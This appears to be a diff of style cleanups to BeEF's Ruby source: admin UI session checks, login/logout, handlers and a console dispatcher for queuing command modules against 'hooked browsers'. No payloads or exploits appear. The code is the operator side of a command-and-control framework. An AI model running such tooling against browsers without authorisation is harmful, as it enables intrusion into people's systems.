request.cookies.each{|cookie|
|
# Check if a session valid
|
||||||
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
|
#
|
||||||
}
|
def valid_session?(request)
|
||||||
request
|
# check if a valid session exists
|
||||||
|
return false if @id.nil?
|
||||||
# not a valid session
|
return false if @ip.nil?
|
||||||
false
|
|
||||||
|
# check ip address matches
|
||||||
|
return false unless @ip.to_s.eql? request.ip
|
||||||
|
|
||||||
|
# get session cookie name from config
|
||||||
|
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
|
||||||
|
|
||||||
|
# check session id matches
|
||||||
|
request.cookies.each do |cookie|
|
||||||
|
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
|
||||||
|
end
|
||||||
|
request
|
||||||
|
|
||||||
|
# not a valid session
|
||||||
|
false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -4,22 +4,18 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module AdminUI
|
module AdminUI
|
||||||
module Constants
|
module Constants
|
||||||
|
module Icons
|
||||||
module Icons
|
VERIFIED_NOT_WORKING_IMG = 'red.png'
|
||||||
|
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
|
||||||
VERIFIED_NOT_WORKING_IMG = 'red.png'
|
VERIFIED_WORKING_IMG = 'green.png'
|
||||||
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
|
VERIFIED_UNKNOWN_IMG = 'grey.png'
|
||||||
VERIFIED_WORKING_IMG = 'green.png'
|
|
||||||
VERIFIED_UNKNOWN_IMG = 'grey.png'
|
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
|
||||||
|
end
|
||||||
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
@@ -4,129 +4,129 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module AdminUI
|
module AdminUI
|
||||||
module Controllers
|
module Controllers
|
||||||
|
#
|
||||||
|
# The authentication web page for BeEF.
|
||||||
|
#
|
||||||
|
class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||||
|
#
|
||||||
|
# Constructor
|
||||||
|
#
|
||||||
|
def initialize
|
||||||
|
super({
|
||||||
|
'paths' => {
|
||||||
|
'/' => method(:index),
|
||||||
|
'/login' => method(:login),
|
||||||
|
'/logout' => method(:logout)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
#
|
@session = BeEF::Extension::AdminUI::Session.instance
|
||||||
# The authentication web page for BeEF.
|
end
|
||||||
#
|
|
||||||
class Authentication < BeEF::Extension::AdminUI::HttpController
|
|
||||||
|
|
||||||
#
|
# Function managing the index web page
|
||||||
# Constructor
|
def index
|
||||||
#
|
@headers['Content-Type'] = 'text/html; charset=UTF-8'
|
||||||
def initialize
|
@headers['X-Frame-Options'] = 'sameorigin'
|
||||||
super({
|
end
|
||||||
'paths' => {
|
|
||||||
'/' => method(:index),
|
|
||||||
'/login' => method(:login),
|
|
||||||
'/logout' => method(:logout)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
@session = BeEF::Extension::AdminUI::Session.instance
|
#
|
||||||
end
|
# Function managing the login
|
||||||
|
#
|
||||||
|
def login
|
||||||
|
username = @params['username-cfrm'] || ''
|
||||||
|
password = @params['password-cfrm'] || ''
|
||||||
|
config = BeEF::Core::Configuration.instance
|
||||||
|
@headers['Content-Type'] = 'application/json; charset=UTF-8'
|
||||||
|
@headers['X-Frame-Options'] = 'sameorigin'
|
||||||
|
ua_ip = if config.get('beef.http.allow_reverse_proxy')
|
||||||
|
@request.ip # get client ip address
|
||||||
|
else
|
||||||
|
@request.get_header('REMOTE_ADDR')
|
||||||
|
end
|
||||||
|
@body = '{ success : false }' # attempt to fail closed
|
||||||
|
# check if source IP address is permitted to authenticate
|
||||||
|
unless permitted_source?(ua_ip)
|
||||||
|
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
# Function managing the index web page
|
# check if under brute force attack
|
||||||
def index
|
return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
|
||||||
@headers['Content-Type']='text/html; charset=UTF-8'
|
@session.get_auth_timestamp,
|
||||||
@headers['X-Frame-Options']='sameorigin'
|
->(time) { @session.set_auth_timestamp(time) })
|
||||||
end
|
|
||||||
|
|
||||||
#
|
# check username and password
|
||||||
# Function managing the login
|
unless username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd')
|
||||||
#
|
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
|
||||||
def login
|
return
|
||||||
|
end
|
||||||
|
|
||||||
username = @params['username-cfrm'] || ''
|
# establish an authenticated session
|
||||||
password = @params['password-cfrm'] || ''
|
|
||||||
config = BeEF::Core::Configuration.instance
|
# set up session and set it logged in
|
||||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
@session.set_logged_in(ua_ip)
|
||||||
@headers['X-Frame-Options']='sameorigin'
|
|
||||||
if !config.get("beef.http.allow_reverse_proxy")
|
# create session cookie
|
||||||
ua_ip = @request.get_header('REMOTE_ADDR')
|
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
||||||
else
|
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true })
|
||||||
ua_ip = @request.ip # get client ip address
|
|
||||||
|
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
|
||||||
|
@body = '{ success : true }'
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Function managing the logout
|
||||||
|
#
|
||||||
|
def logout
|
||||||
|
# test if session is unauth'd
|
||||||
|
unless @session.valid_nonce?(@request)
|
||||||
|
(print_error 'invalid nonce'
|
||||||
|
return @body = '{ success : true }')
|
||||||
|
end
|
||||||
|
unless @session.valid_session?(@request)
|
||||||
|
(print_error 'invalid session'
|
||||||
|
return @body = '{ success : true }')
|
||||||
|
end
|
||||||
|
|
||||||
|
@headers['Content-Type'] = 'application/json; charset=UTF-8'
|
||||||
|
@headers['X-Frame-Options'] = 'sameorigin'
|
||||||
|
|
||||||
|
# set the session to be log out
|
||||||
|
@session.set_logged_out
|
||||||
|
|
||||||
|
# clean up UA and expire the session cookie
|
||||||
|
config = BeEF::Core::Configuration.instance
|
||||||
|
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
||||||
|
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now })
|
||||||
|
|
||||||
|
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
|
||||||
|
@body = '{ success : true }'
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Check the UI browser source IP is within the permitted subnet
|
||||||
|
#
|
||||||
|
def permitted_source?(ip)
|
||||||
|
# test if supplied IP address is valid
|
||||||
|
return false unless BeEF::Filters.is_valid_ip?(ip)
|
||||||
|
|
||||||
|
# get permitted subnets
|
||||||
|
permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')
|
||||||
|
return false if permitted_ui_subnet.nil?
|
||||||
|
return false if permitted_ui_subnet.empty?
|
||||||
|
|
||||||
|
# test if ip within subnets
|
||||||
|
permitted_ui_subnet.each do |subnet|
|
||||||
|
return true if IPAddr.new(subnet).include?(ip)
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
@body = '{ success : false }' # attempt to fail closed
|
|
||||||
# check if source IP address is permitted to authenticate
|
|
||||||
if not permitted_source?(ua_ip)
|
|
||||||
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# check if under brute force attack
|
|
||||||
return if not BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
|
|
||||||
@session.get_auth_timestamp(),
|
|
||||||
lambda { |time| @session.set_auth_timestamp(time)})
|
|
||||||
|
|
||||||
# check username and password
|
|
||||||
if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') )
|
|
||||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# establish an authenticated session
|
|
||||||
|
|
||||||
# set up session and set it logged in
|
|
||||||
@session.set_logged_in(ua_ip)
|
|
||||||
|
|
||||||
# create session cookie
|
|
||||||
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
|
||||||
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => "/", :httponly => true})
|
|
||||||
|
|
||||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
|
|
||||||
@body = "{ success : true }"
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Function managing the logout
|
|
||||||
#
|
|
||||||
def logout
|
|
||||||
|
|
||||||
# test if session is unauth'd
|
|
||||||
(print_error "invalid nonce";return @body = "{ success : true }") if not @session.valid_nonce?(@request)
|
|
||||||
(print_error "invalid session";return @body = "{ success : true }") if not @session.valid_session?(@request)
|
|
||||||
|
|
||||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
|
||||||
@headers['X-Frame-Options']='sameorigin'
|
|
||||||
|
|
||||||
# set the session to be log out
|
|
||||||
@session.set_logged_out
|
|
||||||
|
|
||||||
# clean up UA and expire the session cookie
|
|
||||||
config = BeEF::Core::Configuration.instance
|
|
||||||
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
|
||||||
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => "", :path => "/", :httponly => true, expires: Time.now})
|
|
||||||
|
|
||||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
|
|
||||||
@body = "{ success : true }"
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Check the UI browser source IP is within the permitted subnet
|
|
||||||
#
|
|
||||||
def permitted_source?(ip)
|
|
||||||
# test if supplied IP address is valid
|
|
||||||
return false unless BeEF::Filters::is_valid_ip?(ip)
|
|
||||||
|
|
||||||
# get permitted subnets
|
|
||||||
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
|
|
||||||
return false if permitted_ui_subnet.nil?
|
|
||||||
return false if permitted_ui_subnet.empty?
|
|
||||||
|
|
||||||
# test if ip within subnets
|
|
||||||
permitted_ui_subnet.each do |subnet|
|
|
||||||
return true if IPAddr.new(subnet).include?(ip)
|
|
||||||
end
|
|
||||||
|
|
||||||
false
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -8,7 +8,6 @@ module BeEF
|
|||||||
module AdminUI
|
module AdminUI
|
||||||
module Controllers
|
module Controllers
|
||||||
class Panel < BeEF::Extension::AdminUI::HttpController
|
class Panel < BeEF::Extension::AdminUI::HttpController
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super({
|
super({
|
||||||
'paths' => {
|
'paths' => {
|
||||||
|
|||||||
@@ -4,15 +4,15 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module AdminUI
|
module AdminUI
|
||||||
extend BeEF::API::Extension
|
extend BeEF::API::Extension
|
||||||
|
|
||||||
@full_name = 'Administration Web UI'
|
@full_name = 'Administration Web UI'
|
||||||
@short_name = 'admin_ui'
|
@short_name = 'admin_ui'
|
||||||
@description = 'Command and control web interface'
|
@description = 'Command and control web interface'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Constants
|
# Constants
|
||||||
|
|||||||
@@ -8,44 +8,37 @@
|
|||||||
# controllers into the framework.
|
# controllers into the framework.
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module AdminUI
|
module AdminUI
|
||||||
module Handlers
|
module Handlers
|
||||||
|
class UI
|
||||||
class UI
|
#
|
||||||
|
# Constructor
|
||||||
|
#
|
||||||
|
def initialize(klass)
|
||||||
|
# @todo Determine why this class is calling super?
|
||||||
|
# super
|
||||||
|
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
def call(env)
|
||||||
# Constructor
|
@request = Rack::Request.new(env)
|
||||||
#
|
@response = Rack::Response.new(env)
|
||||||
def initialize(klass)
|
|
||||||
# @todo Determine why this class is calling super?
|
controller = @klass.new
|
||||||
#super
|
controller.run(@request, @response)
|
||||||
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
|
|
||||||
|
@response = Rack::Response.new(
|
||||||
|
body = [controller.body],
|
||||||
|
status = controller.status,
|
||||||
|
header = controller.headers
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
@request
|
||||||
|
@response
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def call(env)
|
|
||||||
@request = Rack::Request.new(env)
|
|
||||||
@response = Rack::Response.new(env)
|
|
||||||
|
|
||||||
controller = @klass.new
|
|
||||||
controller.run(@request, @response)
|
|
||||||
|
|
||||||
@response = Rack::Response.new(
|
|
||||||
body = [controller.body],
|
|
||||||
status = controller.status,
|
|
||||||
header = controller.headers
|
|
||||||
)
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
@request
|
|
||||||
@response
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,11 +4,10 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Autoloader
|
module Autoloader
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/autoloader/model'
|
require 'extensions/autoloader/model'
|
||||||
|
|||||||
@@ -4,15 +4,11 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
|
class Autoloading < BeEF::Core::Model
|
||||||
class Autoloading < BeEF::Core::Model
|
belongs_to :command
|
||||||
|
end
|
||||||
belongs_to :command
|
end
|
||||||
|
end
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,30 +4,28 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Console
|
module Console
|
||||||
|
extend BeEF::API::Extension
|
||||||
|
|
||||||
extend BeEF::API::Extension
|
#
|
||||||
|
# Sets the information for that extension.
|
||||||
#
|
#
|
||||||
# Sets the information for that extension.
|
@short_name = @full_name = 'console'
|
||||||
#
|
@description = 'console environment to manage beef'
|
||||||
@short_name = @full_name = 'console'
|
|
||||||
@description = 'console environment to manage beef'
|
|
||||||
|
|
||||||
module PostLoad
|
module PostLoad
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
|
||||||
|
|
||||||
def self.post_load
|
def self.post_load
|
||||||
if BeEF::Core::Configuration.instance.get("beef.extension.console.enable")
|
return unless BeEF::Core::Configuration.instance.get('beef.extension.console.enable')
|
||||||
print_error "The console extension is currently unsupported."
|
|
||||||
print_more "See issue #1090 - https://github.com/beefproject/beef/issues/1090"
|
print_error 'The console extension is currently unsupported.'
|
||||||
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
|
print_more 'See issue #1090 - https://github.com/beefproject/beef/issues/1090'
|
||||||
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
|
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
|
||||||
|
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|||||||
@@ -4,24 +4,23 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Console
|
module Console
|
||||||
|
module CommandDispatcher
|
||||||
|
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
|
||||||
|
|
||||||
module CommandDispatcher
|
def initialize(driver)
|
||||||
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
|
super
|
||||||
|
|
||||||
def initialize(driver)
|
self.driver = driver
|
||||||
super
|
end
|
||||||
|
|
||||||
self.driver = driver
|
attr_accessor :driver
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :driver
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end
|
|
||||||
|
|
||||||
require 'extensions/console/lib/command_dispatcher/core'
|
require 'extensions/console/lib/command_dispatcher/core'
|
||||||
require 'extensions/console/lib/command_dispatcher/target'
|
require 'extensions/console/lib/command_dispatcher/target'
|
||||||
require 'extensions/console/lib/command_dispatcher/command'
|
require 'extensions/console/lib/command_dispatcher/command'
|
||||||
|
|||||||
@@ -4,193 +4,197 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Console
|
module Console
|
||||||
module CommandDispatcher
|
module CommandDispatcher
|
||||||
|
class Command
|
||||||
class Command
|
include BeEF::Extension::Console::CommandDispatcher
|
||||||
include BeEF::Extension::Console::CommandDispatcher
|
|
||||||
|
|
||||||
@@params = []
|
@@params = []
|
||||||
|
|
||||||
def initialize(driver)
|
|
||||||
super
|
|
||||||
begin
|
|
||||||
driver.interface.cmd['Data'].each{|data|
|
|
||||||
@@params << data['name']
|
|
||||||
}
|
|
||||||
rescue
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def commands
|
|
||||||
{
|
|
||||||
"execute" => "Go! Execute the command module",
|
|
||||||
"param" => "Set parameters for this module",
|
|
||||||
"response" => "Get previous responses to this command module",
|
|
||||||
"cmdinfo" => "See information about this particular command module"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
def name
|
|
||||||
"Command"
|
|
||||||
end
|
|
||||||
|
|
||||||
@@bare_opts = Rex::Parser::Arguments.new(
|
|
||||||
"-h" => [ false, "Help." ])
|
|
||||||
|
|
||||||
def cmd_cmdinfo(*args)
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_cmdinfo_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
print_line("Module name: " + driver.interface.cmd['Name'])
|
|
||||||
print_line("Module category: " + driver.interface.cmd['Category'].to_s)
|
|
||||||
print_line("Module description: " + driver.interface.cmd['Description'])
|
|
||||||
print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
|
|
||||||
|
|
||||||
driver.interface.cmd['Data'].each{|data|
|
def initialize(driver)
|
||||||
if data['type'].eql?("combobox")
|
super
|
||||||
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'] + " (Options include: " + data['store_data'].to_s + ")")
|
begin
|
||||||
else
|
driver.interface.cmd['Data'].each do |data|
|
||||||
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
|
@@params << data['name']
|
||||||
end
|
end
|
||||||
} if not driver.interface.cmd['Data'].nil?
|
rescue StandardError
|
||||||
end
|
nil
|
||||||
|
end
|
||||||
def cmd_cmdinfo_help(*args)
|
end
|
||||||
print_status("Displays information about the current command module")
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_param(*args)
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_param_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
if (args[0] == nil || args[1] == nil)
|
|
||||||
cmd_param_help
|
|
||||||
return
|
|
||||||
else
|
|
||||||
p = ""
|
|
||||||
(1..args.length-1).each do |x|
|
|
||||||
p << args[x] << " "
|
|
||||||
end
|
|
||||||
p.chop!
|
|
||||||
driver.interface.setparam(args[0],p)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_param_help(*args)
|
|
||||||
print_status("Sets parameters for the current modules. Run \"cmdinfo\" to see the parameter values")
|
|
||||||
print_status(" Usage: param <paramname> <paramvalue>")
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_param_tabs(str,words)
|
def commands
|
||||||
return if words.length > 1
|
{
|
||||||
|
'execute' => 'Go! Execute the command module',
|
||||||
|
'param' => 'Set parameters for this module',
|
||||||
|
'response' => 'Get previous responses to this command module',
|
||||||
|
'cmdinfo' => 'See information about this particular command module'
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
if @@params == ""
|
def name
|
||||||
#nothing prepopulated?
|
'Command'
|
||||||
else
|
end
|
||||||
return @@params
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_execute(*args)
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_execute_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
if driver.interface.executecommand == true
|
|
||||||
print_status("Command successfully queued")
|
|
||||||
else
|
|
||||||
print_status("Something went wrong")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_execute_help(*args)
|
|
||||||
print_status("Execute this module... go on!")
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_response(*args)
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_response_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
|
||||||
'Columns' =>
|
|
||||||
[
|
|
||||||
'Id',
|
|
||||||
'Executed Time',
|
|
||||||
'Response Time'
|
|
||||||
])
|
|
||||||
|
|
||||||
if args[0] == nil
|
@@bare_opts = Rex::Parser::Arguments.new(
|
||||||
lastcmdid = nil
|
'-h' => [false, 'Help.']
|
||||||
driver.interface.getcommandresponses.each do |resp|
|
)
|
||||||
indiresp = driver.interface.getindividualresponse(resp['object_id'])
|
|
||||||
respout = ""
|
|
||||||
if indiresp.nil? or indiresp[0].nil?
|
|
||||||
respout = "No response yet"
|
|
||||||
else
|
|
||||||
respout = Time.at(indiresp[0]['date'].to_i).to_s
|
|
||||||
lastcmdid = resp['object_id']
|
|
||||||
end
|
|
||||||
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "\n"
|
|
||||||
puts "List of responses for this command module:\n"
|
|
||||||
puts tbl.to_s + "\n"
|
|
||||||
|
|
||||||
if not lastcmdid.nil?
|
def cmd_cmdinfo(*args)
|
||||||
resp = driver.interface.getindividualresponse(lastcmdid)
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
puts "\n"
|
case opt
|
||||||
print_line("The last response [" + lastcmdid.to_s + "] was retrieved: " + Time.at(resp[0]['date'].to_i).to_s)
|
when '-h'
|
||||||
print_line("Response:")
|
cmd_cmdinfo_help
|
||||||
resp.each do |op|
|
return false
|
||||||
print_line(op['data']['data'].to_s)
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
else
|
print_line('Module name: ' + driver.interface.cmd['Name'])
|
||||||
output = driver.interface.getindividualresponse(args[0])
|
print_line('Module category: ' + driver.interface.cmd['Category'].to_s)
|
||||||
if output.nil?
|
print_line('Module description: ' + driver.interface.cmd['Description'])
|
||||||
print_line("Invalid response ID")
|
print_line('Module parameters:') unless driver.interface.cmd['Data'].length == 0
|
||||||
elsif output[0].nil?
|
|
||||||
print_line("No response yet from the hooked browser or perhaps an invalid response ID")
|
unless driver.interface.cmd['Data'].nil?
|
||||||
else
|
driver.interface.cmd['Data'].each do |data|
|
||||||
print_line("Results retrieved: " + Time.at(output[0]['date'].to_i).to_s)
|
if data['type'].eql?('combobox')
|
||||||
print_line("")
|
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'] + ' (Options include: ' + data['store_data'].to_s + ')')
|
||||||
print_line("Response:")
|
else
|
||||||
output.each do |op|
|
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'])
|
||||||
print_line(op['data']['data'].to_s)
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_cmdinfo_help(*_args)
|
||||||
|
print_status('Displays information about the current command module')
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_param(*args)
|
||||||
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_param_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if args[0].nil? || args[1].nil?
|
||||||
|
cmd_param_help
|
||||||
|
nil
|
||||||
|
else
|
||||||
|
p = ''
|
||||||
|
(1..args.length - 1).each do |x|
|
||||||
|
p << args[x] << ' '
|
||||||
|
end
|
||||||
|
p.chop!
|
||||||
|
driver.interface.setparam(args[0], p)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_param_help(*_args)
|
||||||
|
print_status('Sets parameters for the current modules. Run "cmdinfo" to see the parameter values')
|
||||||
|
print_status(' Usage: param <paramname> <paramvalue>')
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_param_tabs(_str, words)
|
||||||
|
return if words.length > 1
|
||||||
|
|
||||||
|
if @@params == ''
|
||||||
|
# nothing prepopulated?
|
||||||
|
else
|
||||||
|
@@params
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_execute(*args)
|
||||||
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_execute_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if driver.interface.executecommand == true
|
||||||
|
print_status('Command successfully queued')
|
||||||
|
else
|
||||||
|
print_status('Something went wrong')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_execute_help(*_args)
|
||||||
|
print_status('Execute this module... go on!')
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_response(*args)
|
||||||
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_response_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
|
'Columns' =>
|
||||||
|
[
|
||||||
|
'Id',
|
||||||
|
'Executed Time',
|
||||||
|
'Response Time'
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
if args[0].nil?
|
||||||
|
lastcmdid = nil
|
||||||
|
driver.interface.getcommandresponses.each do |resp|
|
||||||
|
indiresp = driver.interface.getindividualresponse(resp['object_id'])
|
||||||
|
respout = ''
|
||||||
|
if indiresp.nil? or indiresp[0].nil?
|
||||||
|
respout = 'No response yet'
|
||||||
|
else
|
||||||
|
respout = Time.at(indiresp[0]['date'].to_i).to_s
|
||||||
|
lastcmdid = resp['object_id']
|
||||||
|
end
|
||||||
|
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
|
||||||
|
end
|
||||||
|
|
